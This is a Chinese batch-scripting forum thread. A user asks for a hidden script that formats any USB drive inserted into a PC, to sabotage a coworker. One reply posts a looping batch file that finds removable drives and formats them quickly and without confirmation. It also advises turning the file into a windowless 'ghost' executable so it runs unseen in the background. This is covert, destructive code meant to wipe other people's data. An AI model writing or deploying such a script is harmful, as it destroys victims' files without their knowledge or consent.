Board logo

标题: [系统相关] 批处理如何实现检测是否插入U盘并对U盘进行格式化 [打印本页]

作者: mp12    时间: 2009-6-27 16:58     标题: 批处理如何实现检测是否插入U盘并对U盘进行格式化

本帖最后由 pcl_test 于 2016-10-16 22:49 编辑

单位有个很小很小的头目,老是从网上下些东西来放到别人机上干扰工作,如屏保、女人图片等等。
我想请这里的人,做一个符合我要求的BAT文件来制裁这类心态不正的人。


只要电脑开着,不作任何动作,当U盘插入电脑时,立即启动存在于硬盘里的BAT文件,格式化插入的U盘,不管从那个口插入都一样格它没商量。
附多一个机主能控制不让其启动的文件。
先谢。
作者: liaobiaoxing    时间: 2009-6-28 01:15

  1. @echo off
  2. color 1f
  3. :loop
  4. for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do fsutil fsinfo drivetype %%i:|find "可移动">>1.txt
  5. for /f "tokens=1 delims=: " %%j in (1.txt) do format /x /q %%j:/y
  6. del 1.txt
  7. goto loop
复制代码
刚学批处理,只能做成这样了。这个是要一直开着,只要有U盘插入的话就会被格式化。你说的,U盘插入再启动。。我是不会了。
批处理做好后,用工具做成可执行的幽灵程序,就可以没有CMD窗口出现而在后台运行了。

[ 本帖最后由 liaobiaoxing 于 2009-6-28 01:47 编辑 ]
作者: mp12    时间: 2009-6-28 10:18

原帖由 liaobiaoxing 于 2009-6-28 01:15 发表
@echo off
color 1f
:loop
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do fsutil fsinfo drivetype %%i:|find "可移动">>1.txt
for /f "tokens=1 delims=: " %%j in (1.txt) do format /x / ...

这个没用,达不到要求。不过,也得谢谢你的努力和热心。。。




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2